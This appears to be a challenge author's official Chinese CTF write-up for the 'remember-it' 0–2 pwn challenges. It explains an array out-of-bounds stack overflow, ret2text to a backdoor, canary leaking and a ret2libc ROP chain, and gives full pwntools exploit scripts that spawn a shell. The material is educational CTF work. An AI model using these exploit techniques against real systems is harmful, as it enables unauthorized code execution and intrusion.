1. Posts/

remember-it-012 official wp

·6798 字·14 分钟
pwn入门 CTF PWN
作者
ta0lve
一些记录,一点思考
PWN入门 - This article is part of a series.
Part 5: This Article

W4terCTF2024 remember-it-012 出题人题解~

Remember It 0 #

题目描述 #

Do you have a good memory?

Play this simple memory game in your terminal!

Try your best to remember all the strings!

题目解析 #

本题的主要考点为 nc 和 pwntools 库的使用

预期解有很多,最正经的当然是使用 pwntools 库写脚本进行自动化交互:

from pwn import*
# context.log_level = 'debug'
# sh = process('./remember_it_0')
sh = remote('127.0.0.1', 12345)

for num in range(1, 11):
    sh.sendlineafter(b'Your choice:', b'1')
    ans = sh.recvline()[14+len(str(num)):-6*num-1]
    sh.sendlineafter(b"plz input your answer\n", ans)

sh.interactive()

还有一些其他的预期解法,以及看了大家的 wp 之后新增的一些解法:

  • nc 使用 -o参数记录输出信息
  • 使用 teescript 等命令记录输出信息
  • 在需要记忆的字符串出现后输入无关字符阻碍printf("\b \b");函数覆盖字符串
  • 通过截屏录屏/拍照录像等方式在 nc 连接下通关
  • 靠强大的记忆力(bushi
  • ……

还有一些其他的解法,这里就不一一列举了

Remember It 1 #

题目描述 #

Introduction to pwning.

Do you have a good memory?

Play this simple memory game on your terminal for a second time!

Try your best to remember all the strings!

题目解析 #

Learn the basic knowledge about stack and Return Oriented Programming in this challenge

强烈建议大家移步至 W4terCTF 2023 Tic-Tac-Toe Level 0 的 wp 学习栈溢出漏洞的具体利用及 gdb 的使用

(在q群中可以找到哦)

本题的主要考点为 数组越界 + 栈溢出 + ret2text(篡改栈帧上的返回地址为程序中已有的后门函数)

题⽬给出了源代码,注意这部分:

if(count >= 10){
    if(correct == 10){
        success();
    }
    printf("\n[*] plz restart from the beginning or leave \n\n");
}

在 remember_it_1 的程序中 count 的值达到 10 之后并没有将其置 0 或者结束程序,而是继续运行

我们知道用户输入的数组的定义是 char player_answer[10][32]={0},而程序将用户的输入读取到 player_answer[count] 中,但 count 的值是有可能大于 10 的,所以会导致栈溢出漏洞

注意:read(0, player_answer[count], 32) 这个语句的栈溢出漏洞并不只是 read 函数导致的,没有限制 count 的范围也是漏洞发生的原因

在利用栈溢出漏洞之前,我们需要基本了解栈的概念,这是⼀块虚拟内存空间,其中保存有函数调用信息以及局部变量,它按照如下的方式工作。

在某⼀个函数 f 中,栈的状态:

┌──────────────┐ <-- stack pointer, lower address
│ variables_c 
├──────────────┤
│ variables_b
├──────────────┤
│ variables_a
└──────────────┘ <-- stack base pointer, higher address

当这个函数调用了 g ,为了记录 g 返回时应该返回到什么位置,于是把这个返回地址入栈。 之后入栈旧的 stack base pointer,将 stack pointer 的值赋值给 stack base pointer,这样就使得 stack pointer 和 stack base pointer 之间的内容是新的 g 函数的 stack frame 了。

┌──────────────────┐ <-- stack pointer
│ stack base pointe
├──────────────────┤
return address
├──────────────────┤
│ variables_c 
├──────────────────┤
│ variables_b
├──────────────────┤
│ variables_a
└──────────────────┘

g 也会有自己的局部变量,stack pointer 向低地址移动

┌──────────────────┐<-- stack pointer
│ variables_g
├──────────────────┤<-- stack base pointer
│ stack base pointer
├──────────────────┤
return address
├──────────────────┤
│ variables_c
├──────────────────┤
│ variables_b
├──────────────────┤
│ variables_a
└──────────────────┘

当 g 准备返回,stack pointer 移动, 恢复 stack base pointer 返回指令 pop 出栈顶的返回地址,返回到对应函数

┌──────────────┐ <-- stack pointer
return address
├──────────────┤
│ variables_c
├──────────────┤
│ variables_b
├──────────────┤
│ variables_a
└──────────────┘

回到题目, 程序的 char player_answer[10][32] 是栈上的局部变量,所以栈的结构可能是这样的:

┌──────────────────┐<-- stack pointer
│ char player_answer[10][32]
├──────────────────┤<-- stack base pointer
│ stack base pointer
├──────────────────┤
return address
├──────────────────┤
│ variables_c
├──────────────────┤
│ variables_b
├──────────────────┤
│ variables_a
└──────────────────┘

当然,程序还有其他的局部变量,player_answer[count] 的位置并不一定就是紧挨着 stack base pointer ,我们还需要使用 gdb 或者 IDA 等工具帮我们具体分析栈结构

也就是说,当 count 的值大于 10 时,我们就可以通过 read(0, player_answer[count], 32) 语句来用我们的输入的数据去覆盖掉栈上储存的旧的 stack base pointer 和 return address, 进而在 main() 函数返回的时候,控制其返回的地址

在这里,大家可能会发现自己没有办法执行附件里的程序,这有可能是因为没有找到对应的库,我们可以通 过 ldd 观察程序运行时需要的库

ldd remember_it_1 linux-vdso.so.1 (0x00007fff3f7af000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7e98800000) /lib64/ld-linux-x86-64.so.2 (0x00007f7e98bc1000)

接下来我们使用patchelf,将这些库指向我们附件中提供的库文件 patchelf –replace-needed libc.so.6 ./libc.so.6 ./remember_it_1 patchelf –set-interpreter ld-linux-x86-64.so.2 ./remember_it_1

你也可以像比赛时的远程环境一样使用 chroot 来配置运行环境。这些技巧在后面的题目和以后的比赛中都十分有用。

接下来使用 gdb 调试,以下例子使用 gef 插件中的 telescope 命令来观察中的数据

你可以使用命令的缩写(没有歧议的情况下)

比如使用 tel -l 10 $rbp 来观察 RBP 寄存器中的地址往后的 10 个数据

依次执行

gdb remember_it_1 
r
1
abcd
1
[ctrl + c]
tel -l 10 $rbp

可以看到:

gef➤  tel -l 10 $rbp
0x00007fffffffdeb0│+0x0000: 0x0000000000000001	 ← $rbp
0x00007fffffffdeb8│+0x0008: 0x00007ffff7c29d90  →  <__libc_start_call_main+128> mov edi, eax
0x00007fffffffdec0│+0x0010: 0x0000000000000000

0x00007fffffffdeb8 处存储的 0x00007ffff7c29d90 是 __libc_start_call_main+128 的地址,其实这就是 main 函数返回后执行的下⼀条指令的位置

那我们要如何定位 player_answer[count] 在栈上的位置呢,最简单的办法就是使用 tel 命令继续查看栈上的值。我们已经在第一个 answer 处输入了 abcd ,可以通过类似 tel -l -10 $rbp 或者 tel -l 10 $rsp 的命令查看栈的结构

gef➤  tel -l -50 $rbp
0x00007fffffffdd28│-0x0188: 0x0000000000000000
0x00007fffffffdd30│-0x0180: 0x0000000000000000
0x00007fffffffdd38│-0x0178: 0x0000000000000000
0x00007fffffffdd40│-0x0170: 0x0000000000000000
0x00007fffffffdd48│-0x0168: 0x0000000100000000
0x00007fffffffdd50│-0x0160: 0x0000000a64636261 ("abcd\n"?)
0x00007fffffffdd58│-0x0158: 0x0000000000000000
0x00007fffffffdd60│-0x0150: 0x0000000000000000
0x00007fffffffdd68│-0x0148: 0x0000000000000000
0x00007fffffffdd70│-0x0140: 0x0000000000000000	 ← $rsi
0x00007fffffffdd78│-0x0138: 0x0000000000000000
...
0x00007fffffffde88│-0x0028: 0x0000000000000000
0x00007fffffffde90│-0x0020: 0x00007fffffffe329  →  0x000034365f363878 ("x86_64"?)
0x00007fffffffde98│-0x0018: 0x0000000500000064 ("d"?)
0x00007fffffffdea0│-0x0010: 0x0000000000000005
0x00007fffffffdea8│-0x0008: 0x0000000100000005
0x00007fffffffdeb0│+0x0000: 0x0000000000000001	 ← $rbp

可以看到我们输入的字符在距离 rbp 0x0160 的位置,而 0x160 = 352 = 32 * 11

所以 rbp 所在的位置其实是 player_answer[11][0:8] ,而返回地址则是 player_answer[11][8:16]

我们可以写一个简单的脚本来验证一下:

此处的脚本使用了 pwntools 库里的函数,虽然人工操作也可以但是过程繁琐,使用脚本则可以起到事半功倍的效果

from pwn import*
context.log_level = 'debug'
sh = process('./remember_it_1')

for _ in range(11):
    sh.sendlineafter(b"Your choice: ", b"1")
    sh.sendlineafter(b"plz input your answer\n", b"a")

payload = p64(1) + p64(0xdeadbeef)

sh.sendlineafter(b"Your choice: ", b"1")
sh.sendlineafter(b"plz input your answer\n", payload)

gdb.attach(sh) # attach with gdb
pause()

sh.sendlineafter(b"Your choice: ", b"4")

sh.interactive()

我们可以看到 gdb 成功的运行了:

[*] running in new terminal: ['/usr/bin/gdb', '-q', './remember_it_1', '2815084']
[*] Paused (press any to continue)

输入任意字符使程序继续运行后,我们在 gdb 窗口输入 continue 命令(简写为 c),会发现由于程序想要执行 0xdeadbeef 地址上的指令而报错

──────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
──────────────────────── threads ────
[#0] Id 1, Name: "remember_it_1", stopped 0xdeadbeef in ?? (), reason: SIGSEGV

可以看出我们所输入的 0xdeafbeef 已经覆盖了程序的 return address 并成功控制程序执行流

注意:如果没有 sh.sendlineafter(b"Your choice: “, b"4”) 语句,程序可能一直执行 main 函数,即使我们覆盖了返回地址,也并不能控制当前程序的执行流

在代码我们还可以看到一个后门函数:

void FEE1DEAD()
{
    execl("/bin/sh", "sh", (char *)NULL);
}

我们将 return address 覆盖为这个函数的地址就可以让程序执行后门函数进而成功 getshell !

我们可以在 IDA 中获得 FEE1DEAD() 函数的地址,也可以通过 gdb 的一些命令例如 disass

gef➤  disass FEE1DEAD
Dump of assembler code for function FEE1DEAD:
   0x00000000004018b6 <+0>:	endbr64 
   0x00000000004018ba <+4>:	push   rbp
   0x00000000004018bb <+5>:	mov    rbp,rsp
   0x00000000004018be <+8>:	mov    edx,0x0
   0x00000000004018c3 <+13>:	lea    rax,[rip+0xcb8]        # 0x402582
   0x00000000004018ca <+20>:	mov    rsi,rax
   0x00000000004018cd <+23>:	lea    rax,[rip+0xcb1]        # 0x402585
   0x00000000004018d4 <+30>:	mov    rdi,rax
   0x00000000004018d7 <+33>:	mov    eax,0x0
   0x00000000004018dc <+38>:	call   0x401180 <execl@plt>
   0x00000000004018e1 <+43>:	nop
   0x00000000004018e2 <+44>:	pop    rbp
   0x00000000004018e3 <+45>:	ret    
End of assembler dump.

还可以利用 pwntools 库:

from pwn import*
elf = ELF('./remember_it_1')
backdoor = elf.sym['FEE1DEAD']
log.success(f"backdoor = {backdoor:#x}")

# 输出:
# [+] backdoor = 0x4018b6

可以得到 FEE1DEAD() 函数的地址为 0x4018b6

由于 \xb6\x18\x40 这三个字符都不在我们的键盘上,所以我们使用 pwntools 来发送这个 payload

本题 exp :

from pwn import*
#  context.log_level = 'debug'
# sh = process('./remember_it_1')
sh = remote('127.0.0.1', 12345)

for _ in range(11):
    sh.sendlineafter(b"Your choice: ", b"1")
    sh.sendlineafter(b"plz input your answer\n", b"a")

backdoor = 0x4018b6
payload = p64(0) + p64(backdoor)

sh.sendlineafter(b"Your choice: ", b"1")
sh.sendlineafter(b"plz input your answer\n", payload)

sh.sendlineafter(b"Your choice: ", b"4")
sh.interactive()

Remember It 2 #

Learn how to bypass canary and Address Space Layout Randomization in this challenge

题目描述 #

Introduction to pwning.

Do you have a good memory?

Play this simple memory game on your terminal for the third time!

Try your best to remember all the strings!

题目解析 #

本题的主要考点为 数组越界 + 栈溢出 + canary leak + ret2libc

漏洞点与 remember_it_1 相同,但是本题多开了两个保护机制,我们可以使用 checksec 来看两个程序的区别

$ checksec remember_it_1
[*] '/src/remember_it_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found  <=== Watch out!
    NX:       NX enabled
    PIE:      No PIE (0x400000)  <=== Watch out!
    
$ checksec remember_it_2
[*] '/src/remember_it_2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found  <=== Watch out!
    NX:       NX enabled
    PIE:      PIE enabled  <=== Watch out!

如果是最新版的 checksec 则是这样的:

$ checksec --file=remember_it_1
RELRO           STACK CANARY      NX            PIE    ...
Partial RELRO   No canary found   NX enabled    No PIE ...

$ checksec --file=remember_it_2
RELRO           STACK CANARY      NX            PIE         ...
Full RELRO      Canary found      NX enabled    PIE enabled ...

所以为了能够顺利的利用栈溢出漏洞获得程序的 shell,我们要先绕过 canary 和 PIE 两个保护机制

强烈建议大家移步至 W4terCTF 2023 Nimgame Level 1 & 2 的 wp 学习漏洞的具体利用及保护机制的绕过方式

(在q群中可以找到哦)

解题过程为:

  • 先覆盖 canary'\x00' 字节来 leak canary
  • 再通过泄露 __libc_start_call_main + 128 的地址来 leak libcbase
  • 最后使用 ret2libc 等方法来 getshell

Canary #

我们先来简要了解⼀下什么是 Canary,使用 gdb,依次执行:

gdb remember_it_2
r
1
[ctrl + c]
tel $rbp-0x10

我们可以观察到在 old rbp 和 return address 的上方,也就是 [rbp-0x8] 的位置上,多了一个以 \x00 结尾的数据

gef➤  tel $rbp-0x10
0x00007fffffffdea0│+0x0000: 0x0000000000001000
0x00007fffffffdea8│+0x0008: 0xca45816933b85c00
0x00007fffffffdeb0│+0x0010: 0x0000000000000001	 ← $rbp
0x00007fffffffdeb8│+0x0018: 0x00007ffff7c29d90  →  <__libc_start_call_main+128> mov edi, eax

我们还可以通过 x 命令看到 main 函数结尾处的有一段指令

x 指令(memory read)可以通过 / format 来设置输出格式,例如以下的输出设置了打印 6 个指令(i)

gef➤  x/6i main+1117
   0x555555555706 <main+1117>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x55555555570a <main+1121>:	sub    rdx,QWORD PTR fs:0x28
   0x555555555713 <main+1130>:	je     0x55555555571a <main+1137>
   0x555555555715 <main+1132>:	call   0x555555555120 <__stack_chk_fail@plt>
   0x55555555571a <main+1137>:	leave  
   0x55555555571b <main+1138>:	ret  

这段指令取出这段新增的数据,将它和 fs:0x28 处的数据作比较,相同则跳转,不相同则调用 stack_chk_fail()

这里我们已经可以发现,像上一道题一样,连续覆盖直到覆盖掉返回地址来控制执行流的方法已经不可行了。因为这会导致这个新增的数据也被一并覆盖,进而函数不会正常返回,这一个新增的数据就是 Canary。

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

所以,我们要想办法绕过这个检查,一个可行的方法是,我们能不能知道这个位置所储存的数据,进而在覆盖的时候,覆盖回原数据,然后继续覆盖 rbp 和返回地址呢?这是可行的!

注意当我们的 choice 为 3 的时候,程序会打印我们输入的字符串。

printf("[wrong] your answer is %s", player_answer[i]);

而利用上一题的方法我们可以得到 Canary 所在的位置其实是 player_answer[10][8:16] 的位置,由于 printf() 函数在遇到 \x00 时会中止输出,所以我们需要将 Canary 低位的 0x00 覆盖掉,就可以在这个时候把 Canary 的值一并输出了!当然这里有很多不可打印字符,所以我们使用 pwntools 来进行接收数据

我们可以写一个简单的脚本来验证一下:

from pwn import*
# context.log_level = 'debug'
sh = process('./remember_it_2')
# sh = remote('127.0.0.1', 12345)

def cmd(num):
    sh.sendlineafter(b"Your choice: ", str(num).encode())

def answer(pay):
    cmd(1)
    sh.sendlineafter(b"plz input your answer\n", pay) # sendline will send a '\n'

def show():
    cmd(3)

"""
step1: leak canary
"""
for _ in range(10):
    answer(b"a")
answer(b"a"*8)
show()

sh.recvuntil(b'a'*8)
canary = u64(sh.recv(8)) - 0xa # don't forget to substract the 0x0a we sent.
log.success(f"canary = {canary:#x}")

gdb.attach(sh)  # attach with gdb
sh.interactive()

运行一下:

$ python3 test.py
[+] Starting local process './remember_it_2': pid 2817175
[+] canary = 0xd499a67319a6e600
[*] running in new terminal: ['/usr/bin/gdb', '-q', './remember_it_2', '2817175']
[*] Switching to interactive mode

在gdb中验证:

gef➤  canary
canary : 0xd499a67319a6e600
gef➤  

成功获得 Canary 的值!

PIE #

PIE 是 Position Independent Executables 的缩写。这样子的可执行文件可以在不做修改的情况下在任意内存对齐的位置运行,也就是说,这样的可执行文件可以随机化其加载地址。在这样的程序里,我们不能通过一个定值控制程序的跳转。同时,观察源代码我们可以知道,程序中存在的 getshell 后门也被移除了。那么我们就需要利用程序中的其他代码来实现 get shell 了。

我们已经学会了通过简单的返回地址覆盖来控制程序执行流,如果我们能够把一些指令给连续执行起来,那么会怎么样呢?考虑以下情况

0x10000000:
	pop rdi.
	ret :
0x20000000:
	pop rsi:rets
0x30000000:
	call function:

假设现在执行的是 ret 指令,那么程序将会跳转到 0x10000000 处

┌──────────────────┐ <-- stack pointer
│ 0x10000000
├──────────────────┤
│ 0x12345678
├──────────────────┤
│ 0x20000000
├──────────────────┤
│ 0x1234abcd
├──────────────────┤
│ 0x30000000
└──────────────────┘

接下来执行 pop rdi; 0x12345678 就会被放入 rdi 寄存器中,stack pointer 相应移动

┌──────────────────┐ <-- stack pointer
│ 0x12345678
├──────────────────┤
│ 0x20000000
├──────────────────┤
│ 0x1234abcd
├──────────────────┤
│ 0x30000000
└──────────────────┘

接下来执行 ret 指令,那么程序会继续跳转到 0x20000000

┌──────────────────┐ <-- stack pointer
│ 0x20000000 │
├──────────────────┤
│ 0x1234abcd │
├──────────────────┤
│ 0x30000000 │
└──────────────────┘

如上构造,我们最终可以实现 function(0x12345678,0x1234abcd) 的效果,其中,使用到的这些指令片段就被称为 Gadget,这样构造出来的跳转链条就是一条 ROP Chain,由于变长指令的特性,我们可以在程序中找到很多 Gadget 供我们使用。

System V AMD64 ABI 约定,前6个整形参数放在寄存器 RDI, RSI, RDX, RCX, R8 和 R9 上,额外的参数入栈。

我们可以通过一些工具来查找这样的代码片段,比如 ROPGadget

ROPgadget –binary ./libc.so.6 –only “pop|ret” | grep rdi 0x000000000002a745 : pop rdi ; pop rbp ; ret 0x000000000002a3e5 : pop rdi ; ret

我们可以在结果中搜索需要的代码片段。 如果需要查找符号对应的地址,可以使用 pwntools 库:

$ python
>>> from pwn import *
>>> libc = ELF('./libc.so.6')
[*] '/mnt/hgfs/share/wp/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
>>> libc.sym['system']
331120
>>> libc.search(b'/bin/sh').__next__()
1934968
>>> next(libc.search(b'/bin/sh'))
1934968
>>> 

那么我们知道了栈溢出的构造目标,接下来就是,如何确定这些代码片段的地址呢?这就需要我们泄漏出一些地址。如果你还记得在上一部分观察程序栈中的数据时的结果,就可以发现

gef➤  tel $rbp-0x10
0x00007fffffffdea0│+0x0000: 0x0000000000001000
0x00007fffffffdea8│+0x0008: 0x559a52ecda8a5800
0x00007fffffffdeb0│+0x0010: 0x0000000000000001	 ← $rbp
0x00007fffffffdeb8│+0x0018: 0x00007ffff7c29d90  →  <__libc_start_call_main+128> mov edi, eax

栈上有很多数据,其中还包括了主程序的地址,各类库的地址,它们因为局部变量,返回地址保存等等原因留在栈上,比如这里的 0x00007fffffffdeb8 就储存了 libc_start_ca1l_main+128 的地址。

我们可以通过上一部分提到的方法,把这个地址也泄漏出来,当然,要先将选择 choice 2 从头开始在来一次泄露的过程,而此时我们要泄露的 libc_start_ca1l_main+128 则在 player_answer[11][8:16] 的位置。

泄露 __libc_start_call_main+128 的地址时常见的方式有两种:

# 1
sh.recvuntil(b'ab\n') # for example
libcleak = u64(sh.recv(6).ljust(8, b'\x00')) # leak __libc_start_call_main+128

# 2
libcleak = u64(sh.recvuntil(b"\x7f").ljust(8, b'\x00')) # leak __libc_start_call_main+128

大多数情况下两种方式都可以,但是在本次比赛中所使用的 Linux kernel 对 aslr 保护机制进行了加强,增加了内存映射随机化的位数,使得 libc 库加载的地址不再是固定以 “\x7f” 或是 “\x7e” 开头,所以第二种方式的成功率会大大降低

具体可以看:

Linux 中的 ASLR(Address Space Layout Randomization)机制通过对栈、内存映射段、堆的起始地址加上随机偏移量来打乱虚拟地址空间布局,从而增加攻击者猜测系统资源地址的难度,提高了系统的安全性

由于我们泄漏出来的这个地址和 libc 库加载的基地址之间的偏移是固定的,得到这个地址,就相当于得到了 libc 库的地址。

我们可以通过 vmmap 命令来查看内存映射情况

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /.../remember_it_2
...
0x00007ffff7c00000 0x00007ffff7c28000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
...
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
gef➤  p 0x00007ffff7c29d90 - 0x00007ffff7c00000
$1 = 0x29d90

这里我们得到的

0x00007ffff7c00000 0x00007ffff7c28000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6

就表明了libc的基地址是 0x00007ffff7c00000

由于0x00007ffff7c29d90 - 0x00007ffff7c00000 = 0x29d90,所以泄漏这个地址之后,减去 0x29d90 就知道 Iibc被加载到什么位置了。

同时,libc中也存在有 /bin/sh 这样的字符串,所以通过这些,我们就可以构造出一条调用 system("bin/sh") 的链了!

binsh = libcbase + libc.search(b'/bin/sh').__next__()  # get /bin/sh address in libc
system = libcbase + libc.symbols['system']
pop_rdi_ret = libcbase + 0x000000000002a3e5 # ROPgadget --binary libc* --only "pop|ret"|grep rdi
ret = libcbase + 0x000000000002a3e6 # ROPgadget --binary libc* --only "ret"

不知道如何使用附件里的libc? 请查看 remember_it_1 的 writeup

本题理论上也可以用 onegadget 完成,但实际利用时会发现利用的条件难以满足,所以选择构造 ROP 链来 getshell

但是,你可能还会遇到一个问题,栈对齐问题:

gef➤  x/i do_system+115
   0x7ffff7c50973 <do_system+115>:	movaps XMMWORD PTR [rsp],xmm1

system() 函数中存在这样的指令,它要求栈按照 0x10 对齐,如果你发现对齐有误,可以在 ROP 链中增加一条 ret 指令的 Gadget,将 stackpointer 移动 0x8 完成对齐。

ROPgadget --binary libc.so.6 --only "ret"
Gadgets information
============================================================
0x0000000000029139 : ret

本题 exp :

from pwn import*
context.log_level = 'debug'
# sh = process('./remember_it_2')
sh = remote('127.0.0.1', 12345)

libc = ELF('./libc.so.6')

def cmd(num):
    sh.sendlineafter(b"Your choice: ", str(num).encode())

def answer(pay):
    cmd(1)
    sh.sendlineafter(b"plz input your answer\n", pay)

def restart():
    cmd(2)

def show():
    cmd(3)

def leave():
    cmd(4)
"""
step1: leak canary
"""
for _ in range(10):
    answer(b"a")
answer(b"a"*8)
show()
sh.recvuntil(b'a'*8)
canary = u64(sh.recv(8)) - 0xa
log.success(f"canary = {canary:#x}")
"""
step2: leak libc
"""
restart()
for _ in range(10):
    answer(b"b")
answer(b"a"*22 + b'b')
show()
sh.recvuntil(b'ab\n')

libcleak = u64(sh.recv(6).ljust(8, b'\x00')) # __libc_start_call_main+128
libcshift = 0x29d90
libcbase = libcleak - libcshift
log.success(f"libcbase = {libcbase:#x}")
# assert libcbase & 0xfff == 0, "wrong libcbase"
"""
step3: pwn! ret2libc
"""
restart()
for _ in range(10):
    answer(b"c")

binsh = libcbase + libc.search(b'/bin/sh').__next__()  # get /bin/sh address in libc
system = libcbase + libc.symbols['system']

pop_rdi_ret = libcbase + 0x000000000002a3e5 # ROPgadget --binary libc* --only "pop|ret"|grep rdi
ret = libcbase + 0x000000000002a3e6 # ROPgadget --binary libc* --only "ret"

payload = b'a'*8 + p64(canary) + b'b'*8 # padding
payload += p64(pop_rdi_ret) # pop rdi; ret;

payload2 = p64(binsh) # /bin/sh
payload2 += p64(ret) # ret;
payload2 += p64(system) # system

answer(payload)
answer(payload2)

leave()

sh.interactive()
PWN入门 - This article is part of a series.
Part 5: This Article